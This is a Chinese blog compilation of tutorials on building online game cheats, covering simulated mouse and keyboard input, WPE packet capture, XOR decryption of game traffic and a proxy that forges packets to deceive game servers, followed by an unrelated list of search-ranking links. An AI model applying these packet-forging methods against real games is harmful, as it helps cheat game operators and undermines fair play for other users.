  不管游戏外挂程序是不是合法身份,但是它却是具有一定的技术含量的,在这些小小程序中使用了许多高端技术,如拦截Sock技术、拦截API技术、模拟键盘与鼠标技术、直接修改程序内存技术等等。本文将对常见的游戏外挂中使用的技术进行全面剖析。

  二、认识外挂

  游戏外挂的历史可以追溯到单机版游戏时代,只不过当时它使用了另一个更通俗易懂的名字??游戏修改器。它可以在游戏中追踪锁定游戏主人公的各项能力数值。这样玩家在游戏中可以达到主角不掉血、不耗费魔法、不消耗金钱等目的。这样降低了游戏的难度,使得玩家更容易通关。

  随着网络游戏的时代的来临,游戏外挂在原有的功能之上进行了新的发展,它变得更加多种多样,功能更加强大,操作更加简单,以至有些游戏的外挂已经成为一个体系,比如《石器时代》,外挂品种达到了几十种,自动战斗、自动行走、自动练级、自动补血、加速、不遇敌、原地遇敌、快速增加经验值、按键精灵……几乎无所不包。

  游戏外挂的设计主要是针对于某个游戏开发的,我们可以根据它针对的游戏的类型可大致可将外挂分为两种大类。

  一类是将游戏中大量繁琐和无聊的攻击动作使用外挂自动完成,以帮助玩家轻松搞定攻击对象并可以快速的增加玩家的经验值。比如在《龙族》中有一种工作的设定,玩家的工作等级越高,就可以驾驭越好的装备。但是增加工作等级却不是一件有趣的事情,毋宁说是重复枯燥的机械劳动。如果你想做法师用的杖,首先需要做基本工作--?砍树。砍树的方法很简单,在一棵大树前不停的点鼠标就可以了,每10000的经验升一级。这就意味着玩家要在大树前不停的点击鼠标,这种无聊的事情通过"按键精灵"就可以解决。外挂的"按键精灵"功能可以让玩家摆脱无趣的点击鼠标的工作。

  另一类是由外挂程序产生欺骗性的网络游戏封包,并将这些封包发送到网络游戏服务器,利用这些虚假信息欺骗服务器进行游戏数值的修改,达到修改角色能力数值的目的。这类外挂程序针对性很强,一般在设计时都是针对某个游戏某个版本来做的,因为每个网络游戏服务器与客户端交流的数据包各不相同,外挂程序必须要对欺骗的网络游戏服务器的数据包进行分析,才能产生服务器识别的数据包。这类外挂程序也是当前最流利的一类游戏外挂程序。

  另外,现在很多外挂程序功能强大,不仅实现了自动动作代理和封包功能,而且还提供了对网络游戏的客户端程序的数据进行修改,以达到欺骗网络游戏服务器的目的。我相信,随着网络游戏商家的反外挂技术的进展,游戏外挂将会产生更多更优秀的技术,让我们期待着看场技术大战吧......

  三、外挂技术综述


  可以将开发游戏外挂程序的过程大体上划分为两个部分:

  前期部分工作是对外挂的主体游戏进行分析,不同类型的外挂分析主体游戏的内容也不相同。如外挂为上述谈到的外挂类型中的第一类时,其分析过程常是针对游戏的场景中的攻击对象的位置和分布情况进行分析,以实现外挂自动进行攻击以及位置移动。如外挂为外挂类型中的第二类时,其分析过程常是针对游戏服务器与客户端之间通讯包数据的结构、内容以及加密算法的分析。因网络游戏公司一般都不会公布其游戏产品的通讯包数据的结构、内容和加密算法的信息,所以对于开发第二类外挂成功的关键在于是否能正确分析游戏包数据的结构、内容以及加密算法,虽然可以使用一些工具辅助分析,但是这还是一种坚苦而复杂的工作。

  后期部分工作主要是根据前期对游戏的分析结果,使用大量的程序开发技术编写外挂程序以实现对游戏的控制或修改。如外挂程序为第一类外挂时,通常会使用到鼠标模拟技术来实现游戏角色的自动位置移动,使用键盘模拟技术来实现游戏角色的自动攻击。如外挂程序为第二类外挂时,通常会使用到挡截Sock和挡截API函数技术,以挡截游戏服务器传来的网络数据包并将数据包修改后封包后传给游戏服务器。另外,还有许多外挂使用对游戏客户端程序内存数据修改技术以及游戏加速技术。

  本文主要是针对开发游戏外挂程序后期使用的程序开发技术进行探讨,重点介绍的如下几种在游戏外挂中常使用的程序开发技术:

  动作模拟技术:主要包括键盘模拟技术和鼠标模拟技术。

  封包技术:主要包括挡截Sock技术和挡截API技术。
四、动作模拟技术

  我们在前面介绍过,几乎所有的游戏都有大量繁琐和无聊的攻击动作以增加玩家的功力,还有那些数不完的迷宫,这些好像已经成为了角色游戏的代名词。现在,外挂可以帮助玩家从这些繁琐而无聊的工作中摆脱出来,专注于游戏情节的进展。外挂程序为了实现自动角色位置移动和自动攻击等功能,需要使用到键盘模拟技术和鼠标模拟技术。下面我们将重点介绍这些技术并编写一个简单的实例帮助读者理解动作模拟技术的实现过程。

  1. 鼠标模拟技术
  
  几乎所有的游戏中都使用了鼠标来改变角色的位置和方向,玩家仅用一个小小的鼠标,就可以使角色畅游天下。那么,我们如何实现在没有玩家的参与下角色也可以自动行走呢。其实实现这个并不难,仅仅几个Windows API函数就可以搞定,让我们先来认识认识这些API函数。

  (1) 模拟鼠标动作API函数mouse_event,它可以实现模拟鼠标按下和放开等动作。

    VOID mouse_event(
      DWORD dwFlags, // 鼠标动作标识。

      DWORD dx, // 鼠标水平方向位置。
      DWORD dy, // 鼠标垂直方向位置。
      DWORD dwData, // 鼠标轮子转动的数量。
      DWORD dwExtraInfo // 一个关联鼠标动作辅加信息。
    );

  其中,dwFlags表示了各种各样的鼠标动作和点击活动,它的常用取值如下:


   MOUSEEVENTF_MOVE 表示模拟鼠标移动事件。

   MOUSEEVENTF_LEFTDOWN 表示模拟按下鼠标左键。

   MOUSEEVENTF_LEFTUP 表示模拟放开鼠标左键。

   MOUSEEVENTF_RIGHTDOWN 表示模拟按下鼠标右键。

   MOUSEEVENTF_RIGHTUP 表示模拟放开鼠标右键。

   MOUSEEVENTF_MIDDLEDOWN 表示模拟按下鼠标中键。

   MOUSEEVENTF_MIDDLEUP 表示模拟放开鼠标中键。

  (2)、设置和获取当前鼠标位置的API函数。获取当前鼠标位置使用GetCursorPos()函数,设置当前鼠标位置使用SetCursorPos()函数。

    BOOL GetCursorPos(
     LPPOINT lpPoint // 返回鼠标的当前位置。

    );
    
BOOL SetCursorPos(
    int X, // 鼠标的水平方向位置。

      int Y //鼠标的垂直方向位置。
    );  

  通常游戏角色的行走都是通过鼠标移动至目的地,然后按一下鼠标的按钮就搞定了。下面我们使用上面介绍的API函数来模拟角色行走过程。


   CPoint oldPoint,newPoint;
   GetCursorPos(&oldPoint); //保存当前鼠标位置。

   newPoint.x = oldPoint.x+40;
   
newPoint.y = oldPoint.y+10;
   SetCursorPos(newPoint.x,newPoint.y); //设置目的地位置。

   mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);//模拟按下鼠标右键。
   mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);//模拟放开鼠标右键。  

  2. 键盘模拟技术


  在很多游戏中,不仅提供了鼠标的操作,而且还提供了键盘的操作,在对攻击对象进行攻击时还可以使用快捷键。为了使这些攻击过程能够自动进行,外挂程序需要使用键盘模拟技术。像鼠标模拟技术一样,Windows API也提供了一系列API函数来完成对键盘动作的模拟。

  模拟键盘动作API函数keydb_event,它可以模拟对键盘上的某个或某些键进行按下或放开的动作。

   VOID keybd_event(
     BYTE bVk, // 虚拟键值。

     BYTE bScan, // 硬件扫描码。
     DWORD dwFlags, // 动作标识。
     DWORD dwExtraInfo // 与键盘动作关联的辅加信息。
   );

  其中,bVk表示虚拟键值,其实它是一个BYTE类型值的宏,其取值范围为1-254。有关虚拟键值表请在MSDN上使用关键字“Virtual-Key Codes”查找相关资料。bScan表示当键盘上某键被按下和放开时,键盘系统硬件产生的扫描码,我们可以MapVirtualKey()函数在虚拟键值与扫描码之间进行转换。dwFlags表示各种各样的键盘动作,它有两种取值:KEYEVENTF_EXTENDEDKEYKEYEVENTF_KEYUP


  下面我们使用一段代码实现在游戏中按下Shift+R快捷键对攻击对象进行攻击。

   keybd_event(VK_CONTROL,MapVirtualKey(VK_CONTROL,0),0,0); //按下CTRL键。
   keybd_event(0x52,MapVirtualKey(0x52,0),0,0);//键下R键。
   keybd_event(0x52,MapVirtualKey(0x52,0), KEYEVENTF_KEYUP,0);//放开R键。
   keybd_event(VK_CONTROL,MapVirtualKey(VK_CONTROL,0),
   KEYEVENTF_KEYUP,0);//放开CTRL键。


  3. 激活外挂


  上面介绍的鼠标和键盘模拟技术实现了对游戏角色的动作部分的模拟,但要想外挂能工作于游戏之上,还需要将其与游戏的场景窗口联系起来或者使用一个激活键,就象按键精灵的那个激活键一样。我们可以用GetWindow函数来枚举窗口,也可以用Findwindow函数来查找特定的窗口。另外还有一个FindWindowEx函数可以找到窗口的子窗口,当游戏切换场景的时候我们可以用FindWindowEx来确定一些当前窗口的特征,从而判断是否还在这个场景,方法很多了,比如可以GetWindowInfo来确定一些东西,比如当查找不到某个按钮的时候就说明游戏场景已经切换了等等办法。当使用激活键进行关联,需要使用Hook技术开发一个全局键盘钩子,在这里就不具体介绍全局钩子的开发过程了,在后面的实例中我们将会使用到全局钩子,到时将学习到全局钩子的相关知识。

网络游戏外挂编写基础

作者未知

要想在修改游戏中做到百战百胜,是需要相当丰富的计算机知识的。有很多计算机高手就是从玩游戏,修改游戏中,逐步对计算机产生浓厚的兴趣,逐步成长起来的。不要在羡慕别人能够做到的,因为别人能够做的你也能够!我相信你们看了本教程后,会对游戏有一个全新的认识,呵呵,因为我是个好老师!(别拿鸡蛋砸我呀,救命啊!#%……*)   不过要想从修改游戏中学到知识,增加自己的计算机水平,可不能只是靠修改游戏呀! 要知道,修改游戏只是一个验证你对你所了解的某些计算机知识的理解程度的场所,只能给你一些发现问题、解决问题的机会,只能起到帮助你提高学习计算机的兴趣的作用,而决不是学习计算机的捷径。

  一:什么叫外挂?


  现在的网络游戏多是基于Internet上客户/服务器模式,服务端程序运行在游戏服务器上,游戏的设计者在其中创造一个庞大的游戏空间,各地的玩家可以通过运行客户端程序同时登录到游戏中。简单地说,网络游戏实际上就是由游戏开发商提供一个游戏环境,而玩家们就是在这个环境中相对自由和开放地进行游戏操作。那么既然在网络游戏中有了服务器这个概念,我们以前传统的修改游戏方法就显得无能为力了。记得我们在单机版的游戏中,随心所欲地通过内存搜索来修改角色的各种属性,这在网络游戏中就没有任何用处了。因为我们在网络游戏中所扮演角色的各种属性及各种重要资料都存放在服务器上,在我们自己机器上(客户端)只是显示角色的状态,所以通过修改客户端内存里有关角色的各种属性是不切实际的。那么是否我们就没有办法在网络游戏中达到我们修改的目的?回答是""


  我们知道Internet客户/服务器模式的通讯一般采用TCP/IP通信协议,数据交换是通过IP数据包的传输来实现的,一般来说我们客户端向服务器发出某些请求,比如移动、战斗等指令都是通过封包的形式和服务器交换数据。那么我们把本地发出消息称为SEND,意思就是发送数据,服务器收到我们SEND的消息后,会按照既定的程序把有关的信息反馈给客户端,比如,移动的坐标,战斗的类型。那么我们把客户端收到服务器发来的有关消息称为RECV。知道了这个道理,接下来我们要做的工作就是分析客户端和服务器之间往来的数据(也就是封包),这样我们就可以提取到对我们有用的数据进行修改,然后模拟服务器发给客户端,或者模拟客户端发送给服务器,这样就可以实现我们修改游戏的目的了。

  目前除了修改游戏封包来实现修改游戏的目的,我们也可以修改客户端的有关程序来达到我们的要求。我们知道目前各个服务器的运算能力是有限的,特别在游戏中,游戏服务器要计算游戏中所有玩家的状况几乎是不可能的,所以有一些运算还是要依靠我们客户端来完成,这样又给了我们修改游戏提供了一些便利。比如我们可以通过将客户端程序脱壳来发现一些程序的判断分支,通过跟踪调试我们可以把一些对我们不利的判断去掉,以此来满足我们修改游戏的需求。 在下几个章节中,我们将给大家讲述封包的概念,和修改跟踪客户端的有关知识。大家准备好了吗?

  游戏数据格式和存储:


  在进行我们的工作之前,我们需要掌握一些关于计算机中储存数据方式的知识和游戏中储存数据的特点。本章节是提供给菜鸟级的玩家看的,如果你是高手就可以跳过了,如果,你想成为无坚不摧的剑客,那么,这些东西就会花掉你一些时间;如果,你只想作个江湖的游客的话,那么这些东西,了解与否无关紧要。是作剑客,还是作游客,你选择吧!


  现在我们开始!首先,你要知道游戏中储存数据的几种格式,这几种格式是:字节(BYTE)、字(WORD)和双字(DOUBLE WORD),或者说是8位、16位和32位储存方式。字节也就是8位方式能储存0~255的数字;字或说是16位储存方式能储存0~65535的数;双字即32位方式能储存0~4294967295的数。


  为何要了解这些知识呢?在游戏中各种参数的最大值是不同的,有些可能100左右就够了,比如,金庸群侠传中的角色的等级、随机遇敌个数等等。而有些却需要大于255甚至大于65535,象金庸群侠传中角色的金钱值可达到数百万。所以,在游戏中各种不同的数据的类型是不一样的。在我们修改游戏时需要寻找准备修改的数据的封包,在这种时候,正确判断数据的类型是迅速找到正确地址的重要条件。


  在计算机中数据以字节为基本的储存单位,每个字节被赋予一个编号,以确定各自的位置。这个编号我们就称为地址。


  在需要用到字或双字时,计算机用连续的两个字节来组成一个字,连续的两个字组成一个双字。而一个字或双字的地址就是它们的低位字节的地址。 现在我们常用的Windows 9x操作系统中,地址是用一个32位的二进制数表示的。而在平时我们用到内存地址时,总是用一个8位的16进制数来表示它。


  二进制和十六进制又是怎样一回事呢?


  简单说来,二进制数就是一种只有01两个数码,每满2则进一位的计数进位法。同样,16进制就是每满十六就进一位的计数进位法。16进制有0--F十六个数字,它为表示十到十五的数字采用了ABCDEF六个数字,它们和十进制的对应关系是:A对应于10B对应于11C对应于12D对应于13E对应于14F对应于15。而且,16进制数和二进制数间有一个简单的对应关系,那就是;四位二进制数相当于一位16进制数。比如,一个四位的二进制数1111就相当于16进制的F1010就相当于A


  了解这些基础知识对修改游戏有着很大的帮助,下面我就要谈到这个问题。由于在计算机中数据是以二进制的方式储存的,同时16进制数和二进制间的转换关系十分简单,所以大部分的修改工具在显示计算机中的数据时会显示16进制的代码,而且在你修改时也需要输入16进制的数字。你清楚了吧?


  在游戏中看到的数据可都是十进制的,在要寻找并修改参数的值时,可以使用Windows提供的计算器来进行十进制和16进制的换算,我们可以在开始菜单里的程序组中的附件中找到它。


  现在要了解的知识也差不多了!不过,有个问题在游戏修改中是需要注意的。在计算机中数据的储存方式一般是低位数储存在低位字节,高位数储存在高位字节。比如,十进制数41715转换为16进制的数为A2F3,但在计算机中这个数被存为F3A2


  看了以上内容大家对数据的存贮和数据的对应关系都了解了吗? 好了,接下来我们要告诉大家在游戏中,封包到底是怎么一回事了,来!大家把袖口卷起来,让我们来干活吧!

  二:什么是封包?


  怎么截获一个游戏的封包?怎么去检查游戏服务器的ip地址和端口号? Internet用户使用的各种信息服务,其通讯的信息最终均可以归结为以IP包为单位的信息传送,IP包除了包括要传送的数据信息外,还包含有信息要发送到的目的IP地址、信息发送的源IP地址、以及一些相关的控制信息。当一台路由器收到一个IP数据包时,它将根据数据包中的目的IP地址项查找路由表,根据查找的结果将此IP数据包送往对应端口。下一台IP路由器收到此数据包后继续转发,直至发到目的地。路由器之间可以通过路由协议来进行路由信息的交换,从而更新路由表。


  那么我们所关心的内容只是IP包中的数据信息,我们可以使用许多监听网络的工具来截获客户端与服务器之间的交换数据,下面就向你介绍其中的一种工具:WPE


  WPE使用方法:执行WPE会有下列几项功能可选择:


  SELECT GAME选择目前在记忆体中您想拦截的程式,您只需双击该程式名称即可。


  TRACE追踪功能。用来追踪撷取程式送收的封包。WPE必须先完成点选欲追踪的程式名称,才可以使用此项目。 按下Play键开始撷取程式收送的封包。您可以随时按下 | | 暂停追踪,想继续时请再按下 | | 。按下正方形可以停止撷取封包并且显示所有已撷取封包内容。若您没按下正方形停止键,追踪的动作将依照OPTION里的设定值自动停止。如果您没有撷取到资料,试试将OPTION里调整为Winsock Version 2WPE Trainers 是设定在显示至少16 bits 颜色下才可执行。


  FILTER过滤功能。用来分析所撷取到的封包,并且予以修改。


  SEND PACKET送出封包功能。能够让您送出假造的封包。


  TRAINER MAKER制作修改器。


  OPTIONS设定功能。让您调整WPE的一些设定值。


  FILTER的详细教学


  - FILTER在启动状态时 ,ON的按钮会呈现红色。- 当您启动FILTER时,您随时可以关闭这个视窗。FILTER将会保留在原来的状态,直到您再按一次 on / off 钮。- 只有FILTER启用钮在OFF的状态下,才可以勾选Filter前的方框来编辑修改。- 当您想编辑某个Filter,只要双击该Filter的名字即可。


  NORMAL MODE


  范例:


  当您在 Street Fighter Online ﹝快打旋风线上版﹞游戏中,您使用了两次火球而且击中了对方,这时您会撷取到以下的封包:
SEND-> 0000 08 14 21 06 01 04 SEND-> 0000 02 09 87 00 67 FF A4 AA 11 22 00 00 00 00 SEND-> 0000 03 84 11 09 11 09 SEND-> 0000 0A 09 C1 10 00 00 FF 52 44 SEND-> 0000 0A 09 C1 10 00 00 66 52 44

  您的第一个火球让对方减了16滴﹝16 = 10h﹞的生命值,而您观察到第4跟第5个封包的位置410h的值出现,应该就是这里了。


  您观察10h前的0A 09 C1在两个封包中都没改变,可见得这3个数值是发出火球的关键。


  因此您将0A 09 C1 10填在搜寻列﹝SEARCH﹞,然后在修改列﹝MODIFY﹞的位置4填上FF。如此一来,当您再度发出火球时,FF会取代之前的10,也就是攻击力为255的火球了!


  ADVANCED MODE


  范例: 当您在一个游戏中,您不想要用真实姓名,您想用修改过的假名传送给对方。在您使用TRACE后,您会发现有些封包里面有您的名字出现。假设您的名字是Shadow,换算成16进位则是﹝53 68 61 64 6F 77﹞;而您打算用moon6D 6F 6F 6E 20 20﹞来取代他。
1) SEND-> 0000 08 14 21 06 01 042) SEND-> 0000 01 06 99 53 68 61 64 6F 77 00 01 05 3) SEND-> 0000 03 84 11 09 11 094) SEND-> 0000 0A 09 C1 10 00 53 68 61 64 6F 77 00 11 5) SEND-> 0000 0A 09 C1 10 00 00 66 52 44

  但是您仔细看,您的名字在每个封包中并不是出现在相同的位置上


  - 在第2个封包里,名字是出现在第4个位置上- 在第4个封包里,名字是出现在第6个位置上


  在这种情况下,您就需要使用ADVANCED MODE- 您在搜寻列﹝SEARCH﹞填上:53 68 61 64 6F 77 ﹝请务必从位置1开始填﹞- 您想要从原来名字Shadow的第一个字母开始置换新名字,因此您要选择从数值被发现的位置开始替代连续数值﹝from the position of the chain found﹞。- 现在,在修改列﹝MODIFY000的位置填上:6D 6F 6F 6E 20 20 ﹝此为相对应位置,也就是从原来搜寻栏的+001位置开始递换﹞- 如果您想从封包的第一个位置就修改数值,请选择﹝from the beginning of the packet


  了解一点TCP/IP协议常识的人都知道,互联网是将信息数据打包之后再传送出去的。每个数据包分为头部信息和数据信息两部分。头部信息包括数据包的发送地址和到达地址等。数据信息包括我们在游戏中相关操作的各项信息。那么在做截获封包的过程之前我们先要知道游戏服务器的IP地址和端口号等各种信息,实际上最简单的是看看我们游戏目录下,是否有一个SERVER.INI的配置文件,这个文件里你可以查看到个游戏服务器的IP地址,比如金庸群侠传就是如此,那么除了这个我们还可以在DOS下使用NETSTAT这个命令,


  NETSTAT命令的功能是显示网络连接、路由表和网络接口信息,可以让用户得知目前都有哪些网络连接正在运作。或者你可以使用木马客星等工具来查看网络连接。工具是很多的,看你喜欢用哪一种了。


  NETSTAT命令的一般格式为:NETSTAT [选项
]

  命令中各选项的含义如下:-a 显示所有socket,包括正在监听的。-c 每隔1秒就重新显示一遍,直到用户中断它。-i 显示所有网络接口的信息。-n 以网络IP地址代替名称,显示出网络连接情形。-r 显示核心路由表,格式同"route -e"-t 显示TCP协议的连接情况。-u 显示UDP协议的连接情况。-v 显示正在进行的工作。

 

 

网络游戏外挂编写基础

作者未知

三:怎么来分析我们截获的封包?

  首先我们将WPE截获的封包保存为文本文件,然后打开它,这时会看到如下的数据(这里我们以金庸群侠传里PK店小二客户端发送的数据为例来讲解):


  第一个文件:
SEND-> 0000 E6 56 0D 22 7E 6B E4 17 13 13 12 13 12 13 67 1BSEND-> 0010 17 12 DD 34 12 12 12 12 17 12 0E 12 12 12 9BSEND-> 0000 E6 56 1E F1 29 06 17 12 3B 0E 17 1ASEND-> 0000 E6 56 1B C0 68 12 12 12 5ASEND-> 0000 E6 56 02 C8 13 C9 7E 6B E4 17 10 35 27 13 12 12SEND-> 0000 E6 56 17 C9 12

  第二个文件:
SEND-> 0000 83 33 68 47 1B 0E 81 72 76 76 77 76 77 76 02 7ESEND-> 0010 72 77 07 1C 77 77 77 77 72 77 72 77 77 77 6DSEND-> 0000 83 33 7B 94 4C 63 72 77 5E 6B 72 F3SEND-> 0000 83 33 7E A5 21 77 77 77 3FSEND-> 0000 83 33 67 AD 76 CF 1B 0E 81 72 75 50 42 76 77 77SEND-> 0000 83 33 72 AC 77

  我们发现两次PK店小二的数据格式一样,但是内容却不相同,我们是PK的同一个NPC,为什么会不同呢? 原来金庸群侠传的封包是经过了加密运算才在网路上传输的,那么我们面临的问题就是如何将密文解密成明文再分析了。


  因为一般的数据包加密都是异或运算,所以这里先讲一下什么是异或。 简单的说,异或就是"相同为0,不同为1"(这是针对二进制按位来讲的),举个例子,00010010异或,我们按位对比,得到异或结果是0011,计算的方法是:0001的第4位为00010的第4位为0,它们相同,则异或结果的第4位按照"相同为0,不同为1"的原则得到00001的第3位为00010的第3位为0,则异或结果的第3位得到00001的第2位为00010的第2位为1,则异或结果的第2位得到10001的第1位为10010的第1位为0,则异或结果的第1位得到1,组合起来就是0011。异或运算今后会遇到很多,大家可以先熟悉熟悉,熟练了对分析很有帮助的。


  下面我们继续看看上面的两个文件,按照常理,数据包的数据不会全部都有值的,游戏开发时会预留一些字节空间来便于日后的扩充,也就是说数据包里会存在一些"00"的字节,观察上面的文件,我们会发现文件一里很多"12",文件二里很多"77",那么这是不是代表我们说的"00"呢?推理到这里,我们就开始行动吧!


  我们把文件一与"12"异或,文件二与"77"异或,当然用手算很费事,我们使用"M2M 1.0 加密封包分析工具"来计算就方便多了。得到下面的结果:


  第一个文件:
1 SEND-> 0000 F4 44 1F 30 6C 79 F6 05 01 01 00 01 00 01 75 09SEND-> 0010 05 00 CF 26 00 00 00 00 05 00 1C 00 00 00 892 SEND-> 0000 F4 44 0C E3 3B 13 05 00 29 1C 05 083 SEND-> 0000 F4 44 09 D2 7A 00 00 00 484 SEND-> 0000 F4 44 10 DA 01 DB 6C 79 F6 05 02 27 35 01 00 005 SEND-> 0000 F4 44 05 DB 00

  第二个文件:
1 SEND-> 0000 F4 44 1F 30 6C 79 F6 05 01 01 00 01 00 01 75 09SEND-> 0010 05 00 70 6B 00 00 00 00 05 00 05 00 00 00 1A2 SEND-> 0000 F4 44 0C E3 3B 13 05 00 29 1C 05 843 SEND-> 0000 F4 44 09 D2 56 00 00 00 484 SEND-> 0000 F4 44 10 DA 01 B8 6C 79 F6 05 02 27 35 01 00 005 SEND-> 0000 F4 44 05 DB 00

  哈,这一下两个文件大部分都一样啦,说明我们的推理是正确的,上面就是我们需要的明文!


  接下来就是搞清楚一些关键的字节所代表的含义,这就需要截获大量的数据来分析。


  首先我们会发现每个数据包都是"F4 44"开头,第3个字节是变化的,但是变化很有规律。我们来看看各个包的长度,发现什么没有?对了,第3个字节就是包的长度! 通过截获大量的数据包,我们判断第4个字节代表指令,也就是说客户端告诉服务器进行的是什么操作。例如向服务器请求战斗指令为"30",战斗中移动指令为"D4"等。 接下来,我们就需要分析一下上面第一个包"F4 44 1F 30 6C 79 F6 05 01 01 00 01 00 01 75 09 05 00 CF 26 00 00 00 00 05 00 1C 00 00 00 89",在这个包里包含什么信息呢?应该有通知服务器你PK的哪个NPC吧,我们就先来找找这个店小二的代码在什么地方。 我们再PK一个小喽罗(就是大理客栈外的那个咯):SEND-> 0000 F4 44 1F 30 D4 75 F6 05 01 01 00 01 00 01 75 09SEND-> 0010 05 00 8A 19 00 00 00 00 11 00 02 00 00 00 C0 我们根据常理分析,游戏里的NPC种类虽然不会超过65535FFFF),但开发时不会把自己限制在字的范围,那样不利于游戏的扩充,所以我们在双字里看看。通过"店小二""小喽罗"两个包的对比,我们把目标放在"6C 79 F6 05""CF 26 00 00"上。(对比一下很容易的,但你不能太迟钝咯,呵呵)我们再看看后面的包,在后面的包里应该还会出现NPC的代码,比如移动的包,游戏允许观战,服务器必然需要知道NPC的移动坐标,再广播给观战的其他玩家。在后面第4个包"SEND-> 0000 F4 44 10 DA 01 DB 6C 79 F6 05 02 27 35 01 00 00"里我们又看到了"6C 79 F6 05",初步断定店小二的代码就是它了!(这分析里边包含了很多工作的,大家可以用WPE截下数据来自己分析分析)


  第一个包的分析暂时就到这里(里面还有的信息我们暂时不需要完全清楚了)


  我们看看第4个包"SEND-> 0000 F4 44 10 DA 01 DB 6C 79 F6 05 02 27 35 01 00 00",再截获PK黄狗的包,(狗会出来2只哦)看看包的格式:
SEND-> 0000 F4 44 1A DA 02 0B 4B 7D F6 05 02 27 35 01 00 00SEND-> 0010 EB 03 F8 05 02 27 36 01 00 00

  根据上面的分析,黄狗的代码为"4B 7D F6 05"100040011),不过两只黄狗服务器怎样分辨呢?看看"EB 03 F8 05"100140011),是上一个代码加上100000,呵呵,这样服务器就可以认出两只黄狗了。我们再通过野外遇敌截获的数据包来证实,果然如此。


  那么,这个包的格式应该比较清楚了:第3个字节为包的长度,"DA"为指令,第5个字节为NPC个数,从第7个字节开始的10个字节代表一个NPC的信息,多一个NPC就多10个字节来表示。


  大家如果玩过网金,必然知道随机遇敌有时会出现增援,我们就利用游戏这个增援来让每次战斗都会出现增援的NPC吧。


  通过在战斗中出现增援截获的数据包,我们会发现服务器端发送了这样一个包:F4 44 12 E9 EB 03 F8 05 02 00 00 03 00 00 00 00 00 00 5-8个字节为增援NPC的代码(这里我们就简单的以黄狗的代码来举例)。 那么,我们就利用单机代理技术来同时欺骗客户端和服务器吧!


  好了,呼叫NPC的工作到这里算是完成了一小半,接下来的事情,怎样修改封包和发送封包,我们下节继续讲解吧。

  四:怎么冒充"客户端""服务器"发我们需要的封包?


  这里我们需要使用一个工具,它位于客户端和服务器端之间,它的工作就是进行数据包的接收和转发,这个工具我们称为代理。如果代理的工作单纯就是接收和转发的话,这就毫无意义了,但是请注意:所有的数据包都要通过它来传输,这里的意义就重大了。我们可以分析接收到的数据包,或者直接转发,或者修改后转发,或者压住不转发,甚至伪造我们需要的封包来发送。


  下面我们继续讲怎样来同时欺骗服务器和客户端,也就是修改封包和伪造封包。 通过我们上节的分析,我们已经知道了打多个NPC的封包格式,那么我们就动手吧!


  首先我们要查找客户端发送的包,找到战斗的特征,就是请求战斗的第1个包,我们找"F4 44 1F 30"这个特征,这是不会改变的,当然是要解密后来查找哦。 找到后,表示客户端在向服务器请求战斗,我们不动这个包,转发。 继续向下查找,这时需要查找的特征码不太好办,我们先查找"DA",这是客户端发送NPC信息的数据包的指令,那么可能其他包也有"DA",没关系,我们看前3个字节有没有"F4 44"就行了。找到后,我们的工作就开始了!


  我们确定要打的NPC数量。这个数量不能很大,原因在于网金的封包长度用一个字节表示,那么一个包可以有255个字节,我们上面分析过,增加一个NPC要增加10个字节,所以大家算算就知道,打20NPC比较合适。


  然后我们要把客户端原来的NPC代码分析计算出来,因为增加的NPC代码要加上100000哦。再把我们增加的NPC代码计算出来,并且组合成新的封包,注意代表包长度的字节要修改啊,然后转发到服务器,这一步在编写程序的时候要注意算法,不要造成较大延迟。


  上面我们欺骗服务器端完成了,欺骗客户端就简单了。


  发送了上面的封包后,我们根据新增NPC代码构造封包马上发给客户端,格式就是"F4 44 12 E9 NPC代码 02 00 00 03 00 00 00 00 00 00",把每个新增的NPC都构造这样一个包,按顺序连在一起发送给客户端,客户端也就被我们骗过了,很简单吧。

  以后战斗中其他的事我们就不管了,尽情地开打吧。

3月8日

关键字搜索排行榜

百度搜索风云榜
http://top.baidu.com/
一搜排行榜
http://www.yisou.com/top_index.html?source=yisou_buzz_hp
搜狗指数
http://www.sogou.com/top/index.html
网易搜索排行榜
http://so.163.com/list.htm
中搜搜索排行榜--
http://www.zhongsou.com/zs_phb/html_top/index.htm
新浪搜索2004热词榜
http://cha.sina.com.cn/board.html?fromcha
Google每周搜索Zeitgeist--
http://www.google.com/press/zeitgeist.html
Yahoo每日搜索Index--
http://buzz.yahoo.com/
Lycos每日搜索Lycos 50--
http://50.lycos.com/
Ask Jeeves weekly的SearchIQ--
http://static.wc.ask.com/docs/about/jeevesiq.html?o=0
Kanoodle(PPC搜索引擎):“搜索间谍”(页面每隔10秒自动更新最新搜索词)http://www.kanoodle.com/spy/spy.cool
Yahoo购物: 正在卖什么?每次刷新即显示新的已售商品列表
http://st8.yahoo.com/OT
MetaCrawler(Meta搜索引擎):Meta间谍 页面每隔15秒自动更新最新搜索词http://www.metaspy.com/info.metac.spy/metaspy/filtered.htm
AltaVista:实时搜索
http://www.altavista.com/sites/search/real_searches
Ask Jeeves:洞悉搜索词
http://www.askjeeves.com/docs/peek/
Search.com(Meta搜索引擎)
http://savvy.search.com/snoop
Galaxy(搜索目录) 统计被搜索最多的关键词
http://www.galaxy.com/info/voyeur.html
Fireball(德国的主要搜索引擎)
http://www.fireball.de/voyeur-fireball.fcg
 
©️2020 CSDN 皮肤主题: 技术黑板 设计师:CSDN官方博客 返回首页